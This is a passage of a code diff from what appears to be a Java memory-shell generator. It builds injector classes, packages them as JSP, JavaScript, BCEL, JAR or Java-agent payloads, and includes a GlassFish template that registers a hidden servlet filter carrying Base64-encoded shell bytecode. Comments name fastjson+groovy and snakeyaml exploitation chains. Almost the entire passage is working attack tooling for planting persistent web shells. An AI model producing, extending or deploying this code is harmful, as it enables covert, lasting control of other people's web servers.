|
byte[] var2 = null;
|
||||||
|
|
||||||
|
Class var1;
|
||||||
|
try {
|
||||||
|
var1 = Class.forName("java.util.Base64");
|
||||||
|
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
|
||||||
|
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
var1 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object var4 = var1.newInstance();
|
||||||
|
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return var2;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
package jmg.core.format;
|
||||||
|
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import javassist.CtMethod;
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.util.JavassistUtil;
|
||||||
|
|
||||||
|
public class BCELoaderGenerator {
|
||||||
|
public static byte[] generatorBCELoaderClass(AbstractConfig config) {
|
||||||
|
try {
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
ClassClassPath classPath = new ClassClassPath(BCELoader.class);
|
||||||
|
pool.insertClassPath(classPath);
|
||||||
|
CtClass ctClass = pool.getCtClass(BCELoader.class.getName());
|
||||||
|
ctClass.setName(config.getLoaderClassName());
|
||||||
|
ctClass.getClassFile().setVersionToJava5();
|
||||||
|
CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
|
||||||
|
getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
|
||||||
|
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
|
||||||
|
String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
|
||||||
|
String[] parts = splitChunks(base64ClassString, 40000);
|
||||||
|
StringBuilder result = new StringBuilder();
|
||||||
|
for (int i = 0; i < parts.length; i++) {
|
||||||
|
if (i > 0) result.append("+");
|
||||||
|
result.append("new String(\"" + parts[i] + "\")");
|
||||||
|
}
|
||||||
|
getBase64String.setBody(String.format("{return %s;}", result));
|
||||||
|
ctClass.defrost();
|
||||||
|
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||||
|
byte[] bytes = ctClass.toBytecode();
|
||||||
|
ctClass.detach();
|
||||||
|
return bytes;
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String encodeToBase64(byte[] input) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object Encoder = base64.newInstance();
|
||||||
|
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String[] splitChunks(String source, int CHUNK_SIZE) {
|
||||||
|
String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
|
||||||
|
char[] payload = source.toCharArray();
|
||||||
|
int start = 0;
|
||||||
|
for (int i = 0; i < ret.length; i++) {
|
||||||
|
if (start + CHUNK_SIZE > payload.length) {
|
||||||
|
char[] b = new char[payload.length - start];
|
||||||
|
System.arraycopy(payload, start, b, 0, payload.length - start);
|
||||||
|
ret[i] = new String(b);
|
||||||
|
} else {
|
||||||
|
char[] b = new char[CHUNK_SIZE];
|
||||||
|
System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
|
||||||
|
ret[i] = new String(b);
|
||||||
|
}
|
||||||
|
start += CHUNK_SIZE;
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
package jmg.core.format;
|
||||||
|
|
||||||
|
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.math.BigInteger;
|
||||||
|
|
||||||
|
public class BigIntegerFormater implements IFormater {
|
||||||
|
@Override
|
||||||
|
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||||
|
return new BigInteger(clazzbyte).toString(36).getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
+10
@@ -0,0 +1,10 @@
|
|||||||
|
package jmg.core.format;
|
||||||
|
|
||||||
|
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
public interface IFormater {
|
||||||
|
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception;
|
||||||
|
}
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
package jmg.core.format;
|
||||||
|
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.core.template.SpringMVCAgentTransformer;
|
||||||
|
import jmg.core.template.TomcatAgentTransformer;
|
||||||
|
import jmg.core.util.CommonUtil;
|
||||||
|
import jmg.core.util.JavassistUtil;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.jar.JarEntry;
|
||||||
|
import java.util.jar.JarFile;
|
||||||
|
import java.util.jar.JarOutputStream;
|
||||||
|
import java.util.jar.Manifest;
|
||||||
|
|
||||||
|
public class JARAgentFormater implements IFormater {
|
||||||
|
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception {
|
||||||
|
String className = TomcatAgentTransformer.class.getName();
|
||||||
|
String simpleName = TomcatAgentTransformer.class.getSimpleName();
|
||||||
|
if (config.getServerType().equals(Constants.SERVER_TOMCAT)){
|
||||||
|
className = TomcatAgentTransformer.class.getName();
|
||||||
|
simpleName = TomcatAgentTransformer.class.getSimpleName();
|
||||||
|
}
|
||||||
|
if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)){
|
||||||
|
className = SpringMVCAgentTransformer.class.getName();
|
||||||
|
simpleName = SpringMVCAgentTransformer.class.getSimpleName();
|
||||||
|
}
|
||||||
|
String classFileName = simpleName.replace('.', '/') + ".class";
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
// Note: jar 包中的文件不能通过文件路径读取,需要通过流读取
|
||||||
|
// File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile());
|
||||||
|
|
||||||
|
InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar");
|
||||||
|
File jarFile = File.createTempFile("jmg-agent", ".jar");
|
||||||
|
try (FileOutputStream out = new FileOutputStream(jarFile)) {
|
||||||
|
byte[] buffer = new byte[1024];
|
||||||
|
int bytesRead;
|
||||||
|
while ((bytesRead = jarStream.read(buffer)) != -1) {
|
||||||
|
out.write(buffer, 0, bytesRead);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Manifest manifest = createManifest(simpleName);
|
||||||
|
File tempJarFile = File.createTempFile("tempJar", ".jar");
|
||||||
|
|
||||||
|
try (JarFile jar = new JarFile(jarFile);
|
||||||
|
JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) {
|
||||||
|
|
||||||
|
copyJarEntries(jar, tempJar);
|
||||||
|
|
||||||
|
addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(),CommonUtil.encodeBase64(clazzbyte));
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath()));
|
||||||
|
}
|
||||||
|
|
||||||
|
private Manifest createManifest(String simpleName) {
|
||||||
|
Manifest manifest = new Manifest();
|
||||||
|
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
|
||||||
|
manifest.getMainAttributes().putValue("Agent-Class", simpleName);
|
||||||
|
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
|
||||||
|
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
|
||||||
|
manifest.getMainAttributes().putValue("Main-Class", simpleName);
|
||||||
|
return manifest;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException {
|
||||||
|
Enumeration<JarEntry> jarEntries = jar.entries();
|
||||||
|
while (jarEntries.hasMoreElements()) {
|
||||||
|
JarEntry entry = jarEntries.nextElement();
|
||||||
|
try (InputStream entryInputStream = jar.getInputStream(entry)) {
|
||||||
|
tempJar.putNextEntry(entry);
|
||||||
|
byte[] buffer = new byte[1024];
|
||||||
|
int bytesRead;
|
||||||
|
while ((bytesRead = entryInputStream.read(buffer)) != -1) {
|
||||||
|
tempJar.write(buffer, 0, bytesRead);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar,String injectFlag, String injectorCode) throws Exception {
|
||||||
|
CtClass ctClass = pool.get(className);
|
||||||
|
ctClass.getClassFile().setVersionToJava5();
|
||||||
|
ctClass.setName(simpleName);
|
||||||
|
JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";");
|
||||||
|
tempJar.putNextEntry(new JarEntry(classFileName));
|
||||||
|
tempJar.write(ctClass.toBytecode());
|
||||||
|
ctClass.detach();
|
||||||
|
}
|
||||||
|
}
|
||||||
+47
@@ -0,0 +1,47 @@
|
|||||||
|
package jmg.core.format;
|
||||||
|
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.jar.JarEntry;
|
||||||
|
import java.util.jar.JarOutputStream;
|
||||||
|
import java.util.jar.Manifest;
|
||||||
|
|
||||||
|
public class JARFormater implements IFormater {
|
||||||
|
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||||
|
String className = config.getInjectorClassName();
|
||||||
|
String jarEntryFileName = className.replace(".", "/") + ".class";
|
||||||
|
|
||||||
|
Manifest manifest = new Manifest();
|
||||||
|
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
|
||||||
|
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
|
||||||
|
jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
|
||||||
|
jarOutputStream.write(clazzbyte);
|
||||||
|
jarOutputStream.closeEntry();
|
||||||
|
|
||||||
|
// fastjson + groovy 的利用
|
||||||
|
if (config.isImplementsASTTransformationType()) {
|
||||||
|
String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
|
||||||
|
JarEntry entry = new JarEntry(entryName);
|
||||||
|
jarOutputStream.putNextEntry(entry);
|
||||||
|
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
|
||||||
|
jarOutputStream.closeEntry();
|
||||||
|
}
|
||||||
|
|
||||||
|
// snakeyaml + loadJar 的利用
|
||||||
|
if (config.isImplementsScriptEngineFactory()) {
|
||||||
|
String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
|
||||||
|
JarEntry entry = new JarEntry(entryName);
|
||||||
|
jarOutputStream.putNextEntry(entry);
|
||||||
|
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
|
||||||
|
jarOutputStream.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
+35
@@ -0,0 +1,35 @@
|
|||||||
|
package jmg.core.format;
|
||||||
|
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import me.gv7.woodpecker.tools.codec.BASE64Encoder;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
public class JSPFormater implements IFormater {
|
||||||
|
|
||||||
|
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||||
|
String strJSP = "<%\n" +
|
||||||
|
" ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
|
||||||
|
" try{\n" +
|
||||||
|
" classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" +
|
||||||
|
" }catch (Exception e){\n" +
|
||||||
|
" java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
|
||||||
|
" defineClass.setAccessible(true);\n" +
|
||||||
|
" String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" +
|
||||||
|
" byte[] bytecode = null;\n" +
|
||||||
|
" try {\n" +
|
||||||
|
" Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" +
|
||||||
|
" Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
|
||||||
|
" Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
|
||||||
|
" bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" +
|
||||||
|
" } catch (ClassNotFoundException ee) {\n" +
|
||||||
|
" Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
|
||||||
|
" bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" +
|
||||||
|
" }\n" +
|
||||||
|
" Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" +
|
||||||
|
" clazz.newInstance();\n" +
|
||||||
|
" }\n" +
|
||||||
|
"%>";
|
||||||
|
return strJSP.getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
package jmg.core.format;
|
||||||
|
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import me.gv7.woodpecker.tools.codec.BASE64Encoder;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
public class JavaScriptFormater implements IFormater {
|
||||||
|
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||||
|
String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
|
||||||
|
"try{\n" +
|
||||||
|
" classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" +
|
||||||
|
"}catch (e){\n" +
|
||||||
|
" var clsString = classLoader.loadClass('java.lang.String');\n" +
|
||||||
|
" var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" +
|
||||||
|
" var bytecode;\n" +
|
||||||
|
" try{\n" +
|
||||||
|
" var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
|
||||||
|
" var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
|
||||||
|
" var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
|
||||||
|
" bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
|
||||||
|
" } catch (ee) {\n" +
|
||||||
|
" var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
|
||||||
|
" bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
|
||||||
|
" }\n" +
|
||||||
|
" var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
|
||||||
|
" var clsByteArray = classLoader.loadClass('[B');\n" +
|
||||||
|
" var clsInt = java.lang.Integer.TYPE;\n" +
|
||||||
|
" var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
|
||||||
|
" defineClass.setAccessible(true);\n" +
|
||||||
|
" var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
|
||||||
|
" clazz.newInstance();\n" +
|
||||||
|
"}";
|
||||||
|
return strJS.getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
package jmg.core.generator;
|
||||||
|
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
|
||||||
|
public interface IShellGenerator {
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
|
||||||
|
void initShell(AbstractConfig config);
|
||||||
|
|
||||||
|
byte[] makeShell(AbstractConfig config) throws Exception;
|
||||||
|
|
||||||
|
byte[] modifyShell(String className, AbstractConfig config);
|
||||||
|
}
|
||||||
@@ -0,0 +1,95 @@
|
|||||||
|
package jmg.core.generator;
|
||||||
|
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import javassist.CtMethod;
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.core.util.CommonUtil;
|
||||||
|
import jmg.core.util.CtClassUtil;
|
||||||
|
import jmg.core.util.InjectorUtil;
|
||||||
|
import jmg.core.util.JavassistUtil;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 注入器生成
|
||||||
|
*/
|
||||||
|
public class InjectorGenerator {
|
||||||
|
public byte[] makeInjector(AbstractConfig config) throws Exception {
|
||||||
|
String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType());
|
||||||
|
String injectorClassName = InjectorUtil.getInjectorClassName(injectorName);
|
||||||
|
byte[] bytes = UtilPlus.generate(injectorClassName, config);
|
||||||
|
config.setInjectorBytes(bytes);
|
||||||
|
config.setInjectorBytesLength(bytes.length);
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static class UtilPlus {
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private final static ClassPool pool = ClassPool.getDefault();
|
||||||
|
|
||||||
|
public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception {
|
||||||
|
pool.insertClassPath(new ClassClassPath(InjectorGenerator.class));
|
||||||
|
CtClass ctClass = pool.getCtClass(injectorTplClassName);
|
||||||
|
ctClass.getClassFile().setVersionToJava5();
|
||||||
|
String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), "");
|
||||||
|
|
||||||
|
String urlPattern = config.getUrlPattern();
|
||||||
|
String shellClassName = config.getShellClassName();
|
||||||
|
|
||||||
|
if (base64ShellString != null) {
|
||||||
|
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
|
||||||
|
String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000);
|
||||||
|
StringBuilder result = new StringBuilder();
|
||||||
|
for (int i = 0; i < parts.length; i++) {
|
||||||
|
if (i > 0)
|
||||||
|
result.append("+");
|
||||||
|
result.append("new String(\"" + parts[i] + "\")");
|
||||||
|
}
|
||||||
|
|
||||||
|
getBase64String.setBody(String.format("{return %s;}", result));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) {
|
||||||
|
CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern");
|
||||||
|
getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellClassName != null) {
|
||||||
|
CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName");
|
||||||
|
getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName));
|
||||||
|
}
|
||||||
|
|
||||||
|
JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName());
|
||||||
|
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||||
|
byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
|
||||||
|
ctClass.detach();
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String[] splitChunks(String source, int CHUNK_SIZE) {
|
||||||
|
String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
|
||||||
|
char[] payload = source.toCharArray();
|
||||||
|
int start = 0;
|
||||||
|
for (int i = 0; i < ret.length; i++) {
|
||||||
|
if (start + CHUNK_SIZE > payload.length) {
|
||||||
|
char[] b = new char[payload.length - start];
|
||||||
|
System.arraycopy(payload, start, b, 0, payload.length - start);
|
||||||
|
ret[i] = new String(b);
|
||||||
|
} else {
|
||||||
|
char[] b = new char[CHUNK_SIZE];
|
||||||
|
System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
|
||||||
|
ret[i] = new String(b);
|
||||||
|
}
|
||||||
|
start += CHUNK_SIZE;
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
package jmg.core;
|
||||||
|
|
||||||
|
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.core.format.*;
|
||||||
|
|
||||||
|
public class jMGCodeApi {
|
||||||
|
AbstractConfig config;
|
||||||
|
|
||||||
|
public jMGCodeApi(AbstractConfig config) {
|
||||||
|
this.config = config;
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] generate() throws Throwable {
|
||||||
|
byte[] clazzBytes;
|
||||||
|
clazzBytes = config.getInjectorBytes();
|
||||||
|
if (clazzBytes == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 格式转换
|
||||||
|
byte[] bytes = null;
|
||||||
|
switch (config.getOutputFormat()) {
|
||||||
|
case Constants.FORMAT_BCEL:
|
||||||
|
bytes = new BCELFormater().transform(clazzBytes, config);
|
||||||
|
break;
|
||||||
|
case Constants.FORMAT_JSP:
|
||||||
|
bytes = new JSPFormater().transform(clazzBytes, config);
|
||||||
|
break;
|
||||||
|
case Constants.FORMAT_JAR:
|
||||||
|
bytes = new JARFormater().transform(clazzBytes, config);
|
||||||
|
break;
|
||||||
|
case Constants.FORMAT_JAR_AGENT:
|
||||||
|
bytes = new JARAgentFormater().transform(clazzBytes, config);
|
||||||
|
break;
|
||||||
|
case Constants.FORMAT_JS:
|
||||||
|
bytes = new JavaScriptFormater().transform(clazzBytes, config);
|
||||||
|
break;
|
||||||
|
case Constants.FORMAT_BASE64:
|
||||||
|
bytes = new BASE64Formater().transform(clazzBytes, config);
|
||||||
|
break;
|
||||||
|
case Constants.FORMAT_BIGINTEGER:
|
||||||
|
bytes = new BigIntegerFormater().transform(clazzBytes, config);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
bytes = clazzBytes;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,208 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
public class GlassFishFilterInjectorTpl {
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "/*";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new GlassFishFilterInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
public GlassFishFilterInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object filter = getFilter(context);
|
||||||
|
addFilter(context, filter);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||||
|
List<Object> contexts = new ArrayList();
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||||
|
try {
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object key : childrenMap.keySet()) {
|
||||||
|
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||||
|
for (Object key1 : children.keySet()) {
|
||||||
|
Object context = children.get(key1);
|
||||||
|
if (context != null) contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFilter(Object context) throws Exception {
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
filter = clazz.newInstance();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return filter;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addFilter(Object context, Object filter) throws Exception {
|
||||||
|
String filterName = getSimpleName(getClassName());
|
||||||
|
try {
|
||||||
|
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
|
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||||
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
|
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||||
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
|
||||||
|
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||||
|
constructors[0].setAccessible(true);
|
||||||
|
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||||
|
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFV(context, "filterConfigs");
|
||||||
|
filterConfigs.put(filterName, filterConfig);
|
||||||
|
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getSimpleName(String className) {
|
||||||
|
int lastDotIndex = className.lastIndexOf(".");
|
||||||
|
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
